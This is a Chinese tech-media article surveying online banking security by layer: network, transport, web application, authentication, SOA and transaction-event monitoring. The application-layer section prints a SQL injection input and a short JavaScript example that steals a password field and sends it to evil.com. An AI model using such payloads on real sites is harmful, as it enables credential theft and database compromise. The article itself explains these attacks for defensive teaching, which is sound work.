【IT168 专稿】 8月底,各大媒体上关于“超级网银”试点运行的消息铺天盖地,关于新一代“超级网银”的便捷性、安全性充满期待。但事实上,“超级网银”并非针对个人用户的网上跨行支付平台。在不久前召开的“中国国际金融展”上,中国人民银行支付结算司支付系统管理处副处长程世刚对此进行了详细解释:最近,中央银行建设上线第二代网上跨行支付清算系统,媒体称其为超级网银,这是一个误解。中央银行建设的这一跨行清算平台,是直接面向银行、金融机构和市场来提供金融服务的,不直接面向社会公众提供服务。网上跨行支付清算系统是为了适应新兴的网上支付、电子支付业务发展而搭建的一个网上跨行清算平台,这个平台的定位与大、小额支付系统是一样的,并非普通的网银服务。
不管“超级网银”的服务对象是谁,我们能够看到的是:网上支付、电子支付等新兴支付工具,以其光速的发展大有对传统支付工具取而代之的势头。2008年,中国网上银行交易额接近300万亿,相当于GDP的10倍。
但网上银行的安全性成为重要隐患,网上银行成为是黑客们的自动取款机:
· 美国总统奥巴马曾公开在电视媒体上讲话,每年由于黑客的恶意攻击,美国每年因此导致损失1000亿美金;
· 2008年04,CNCERT/CC国家互联网应急中心监测到中国大陆被篡改网站总数达61228个;
· 据最近的美国计算机安全协会(CSI)/美国联邦调查局(FBI)的研究表明,接受调查的公司中有52%的公司系统遭受过外部入侵,事实上他们中的98%都装有防火墙。
· 2009年央视315晚会曝光一位名为“顶狐”的病毒作者通过自编的“顶狐结巴”木马疯狂盗取网银帐户,并在网上以400元/G的价格打包出售。
根据易观国际2008的调研(如下所示),用户开办网上银行业务关注的因素中“网银的安全性能”成为最重要的考虑因素。
本文将从桌面、传输层、网络层、Web应用层和企业SOA整合等多个层次扫描网上银行安全全景,包括每个层次可能遇到的安全问题,以及可选的解决方法。
一、桌面和网络层安全
桌面和网络层安全包括各种端口攻击、文件被篡改等各种攻击,通常通过下面几种方式进行保护:
1) 防火墙:
1. 防火墙处于网关的位置,是Web应用安全大门,使Internet与Intranet之间建立起一个安全网关,从而保护内部网免受非法用户的侵入。
2. 防火墙主要由服务访问规则、验证工具、包过滤和应用网关4个部分组成。
3. 防火墙可以处理如:UDP、FTP、DNS、端口攻击。
2) IDS (Instruction Detection System)
1. 如果把放火防火墙比作大门警卫的话,IDS就是网络中不间断的摄像机。
2. IDS通过旁路监听的方式不间断的收取网络数据,对网络的运行和性能无任何影响,同时判断其中是否含有攻击的企图,通过各种手段向管理员报警。
3. IDS不但可以发现从外部的攻击,也可以发现内部的恶意行为。
4. IDS是网络安全的第二道闸门,是防火墙的必要补充,构成完整的网络安全解决方案。
IDS三种机制包括:
·模式匹配:定义违背安全策略的事件的特征,如网络数据包的某些头信息。检测主要判别这类特征是否在所收集到的数据中出现,此方法非常类似杀毒软件;
·基于异常:先定义一组系统“正常”情况的数值,如CPU利用率、内存利用率、文件校验等,然后将系统运行时的数值与所定义的“正常”情况比较,得出是否有被攻击的迹象。
·完整性:关注文件或对象是否被篡改,主要根据文件和目录的内容及属性进行判断,这种检测方法在发现被更改和被植入特洛伊木马的应用程序方面特别有效。
3) IPS (Instruction Protection System)
1. IDS旁路侦听模式的弊端,IPS的概念被提了出来----一种采用在线模式的,可以对所有攻击采取适时行动的入侵防御系统。
2. IPS是通过直接嵌入到网络流量中而实现这一功能的,即通过一个网络端口接收来自外部系统的流量,经过检查确认其中不包含异常活动或可疑内容后,再通过另外一个端口将它传送到内部系统中。
3. 由于IPS采用了在线模式,因此其本身对于网络的性能影响要比IDS大很多。
4. 由于IPS会对攻击采取行动,因此误报带来的灾难显然要比IDS产品大。
二、传输层及传输信息安全
当信息在互联网上进行传输时,容易被黑客截取。可以采用以下方式对传输通道和传输内容进行安全保护。
1) 传输通道安全:
1. 利用SSL(密钥算法)在互联网上提供端点身份认证与通讯保密。
2. 协议的设计在某种程度上能够使客户端/服务器应用程序通讯本身预防窃听、Tampering、 和消息伪造。
2) 传输信息加密:在J2EE的体系中,可以利用Java的密码体系对客户端和服务器端通讯的业务数据进行加密。Java密码体系依赖于JCA和JCE。JCA包括了数字签名和消息摘要的API;JCE扩展了JCA,提供更多的安全API。Java针对下面一些常用的算法提供接口和实现:
·对称的分组加密算法,如DES、RC2和IDEA;
·对称的流加密算法,如RC4;
·非对称流加密算法,如RSA;
·基于密码的加密(PBE);
·密钥交换协议,如Diffie-Hellman;
·信息认证码 (MAC)。
三、应用层安全隐患及方案
除了网络和传输层攻击外,还有很大一部分来自应用层的攻击,而这一层的攻击往往被人忽视。2006年Gartner报告中显示,75%的攻击来自应用层攻击,可见其重要程度。
1) 应用安全隐患——十大安全隐患
上图是应用层的10大攻击类型,包括跨站的攻击等。下面对其中几个进行进一步的说明分析。
1. 跨站点脚本执行
跨站的脚本攻击是黑客用来潜入Web应用程序的最普遍的应用程序层攻击之一。XSS是针对特殊Web站点的客户隐私的攻击,当客户详细信息失窃或受控时可能引发彻底的安全威胁。
跨站的脚本攻击危害很大,是最大的安全隐患之一,如下:
·从你正在浏览的域中偷到你的信息
·完全修改你所看到的页面内容
·从现在开始,跟踪你在浏览器中的每一个动作
·把你重定向到一个恶意的站点
·利用浏览器脆弱点控制你的机器
·…
2. 注入缺陷
什么是注入缺陷? 注入缺陷指的是用户提供的数据被当做命令或者查询的一部分,送到应用后端的解释器中。
·SQL注入
当用户输入的数据被放到SQL语句中,如基于id获取产品的详细信息:
Select * from products where id=‘+myid+’;
而黑客,输入参数时:
‘ or ’‘= ’
结果和执行下面的SQL一样:
Select * from products
·JSON注入:
许多通道都可以交换JSON消息。因为同源策略的限制,我们不能在与外部服务器进行通信的时候使用XMLHttpRequest。JSONP(JSON with Padding)是一种可以绕过同源策略的方法,即通过使用JSON与<script>标记相结合的方法,如清单1所示。
清单1.JSON例子
<script type=“text/javascript” src=“http://travel.com/findItinerary?username=sachiko&
reservationNum=1234&output=json&callback=showItinerary” />
·Cookie攻击
清单2.攻击示例:从文本字段中窃取密码
function stealpw(){
var pw = document.getElementById(“password”).value;
document.images[0].src=“http://evil.com/imgs/stealpw?pw=” + pw;
}
document.getElementById(“button”).onclick = stealpw;
2) 解决方案
1. 不要动态地生成和执行代码
可以使用若干种方法在JavaScript程序中动态地生成代码,最著名的函数之一就是eval()函数,该函数允许您将任意字符串做为JavaScript代码执行
然而,肆无忌惮地使用该函数是非常危险的,尽量不要在JavaScript中直接使用 eval()函数。
2. 保障JSON的使用安全
JSON是以JavaScript的一个子集为基础,所以脚本内容会潜在地包含恶意代码。
然而,JSON是JavaScript的一个安全的子集,许多JavaScript库使用eval()函数将JSON转换成JavaScript对象。
攻击者可以向这些库发送畸形的JSON对象,这样eval()函数就会执行这些恶意代码。
可以采取一些方法来保护JSON的使用。第一个方法是使用RFC 4627中所定义的正则表达式确保JSON数据中不包含活动的部分。清单3演示了如何使用正则表达式检查JSON字符串。
清单3. 使用正则表达式检查JSON字符
var my_JSON_object = !(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test( text.replace(/“(\\.|[^”\\])*“/g, ‘ ’))) && eval(‘(’ + text + ‘)’);
另一种更具安全性的方法是使用JSON解析器对JSON进行解析。由于JSON的语法相当简单,您可以轻易地实现这种解析器,而不会带来显著的性能差异。
3. 使用Web应用安全诊断工具
安全审计人员/QA工程师/测试人员/开发人员,为了简化发现和修复Web应用安全问题的过程,会扫描Web应用、发现安全漏洞、提出修改建议、形成多种报告。
4. 在应用层使用基于白名单/黑名单的工具
过滤请求和回复的消息,根据白名单/黑名单对请求进行过滤。
3) Web2.0和安全
网上银行逐渐使用Web2.0技术,下面从几个方面分析Web2.0对网上银行的安全影响。
Web2.0对于安全的影响
- Web 1.0的一些问题得到放大,所有人都成为贡献者让输入合法性验证变得更加棘手。
- Mashup/AJAX 相关问题:对于同一Mashup页面中,DOM的访问没有限制会导致可能的同源问题;
-浏览器端的一些框架不可靠。
Web 2.0的模式和技术还是基于现有的Web技术
- 所以Web1.0的安全问题同样存在,同样相应的办法也同样适用。
Web 2.0通常使用AJAX技术
- AJAX在大部分浏览器上都是默认支持的,所以在应用中不适用AJAX并不能让应用更加安全。
- 如果新的REST服务被引入AJAX的应用中,那么这些REST服务需要被合理的进行安全控制。
Web2.0的应用并没有引入导致安全挑战的新技术,所以安全问题还是依赖具体的应用情况而没有一个通用的解决办法。
四、用户认证与授权
1) 用户认证管理
·物理安全
密码、门禁卡、指纹、虹膜等
·密码和证书
用户名/密码
动态口令、短信、手机生成、电话、加密的二维码手机扫描
数字证书、USB、数字
·强认证方式(采用两种或者两种以上的认证方式)
2) 用户授权控制
用户授权:控制个体(即人、进程和计算机)对系统资源的访问权限的过程。授权就是基于用户的权限或用户的类别(在这种情况下,“用户”可能指某个外部系统,而不一定是个人)管理对受保护系统资源的访问。
·访问方式
基于角色的授权,基于角色的授权通过仅将资源提供给已分配相应角色的用户来保护资源。
基于实例的授权
基于关系/所有权的授权
·集中的访问接入
·对用户访问进行控制
用户身份(用户帐户、用户组)
访问地址(IP地址邦定、IP地址注册、公司内网、VPN接入)
访问时间(工作时间、值班时间、特殊时间)
访问方式(本地、Telnet、SSH、FTP、SFTP)
五、SOA安全银行及方案
1) SOA安全考虑
·XML Web services容易把后台系统暴露给客户和合作伙伴;
·传统的安全设备(如防火墙)没有XML/SOAP方面的安全考虑。
2) 方案: 多层次的防护
·第一层:XML安全网关提高安全性、可扩展性、和易用性。
·第二层:应用服务器额外的安全处理。
六、基于事件的安全方案
基于事件的安全检测,可以监测用户的交易行为,发现其中潜在的安全事件:
·如客户在一天内,转账3次,总额超过100,000元。
·再如客户在一天内,同时在两个城市消费信用卡。
在基于事件的安全方案中,服务检测到这样的事件,根据内置的安全检测规则,作出额外处理,如:禁止下一次交易,发Email通知客服经理。
架构如下所示: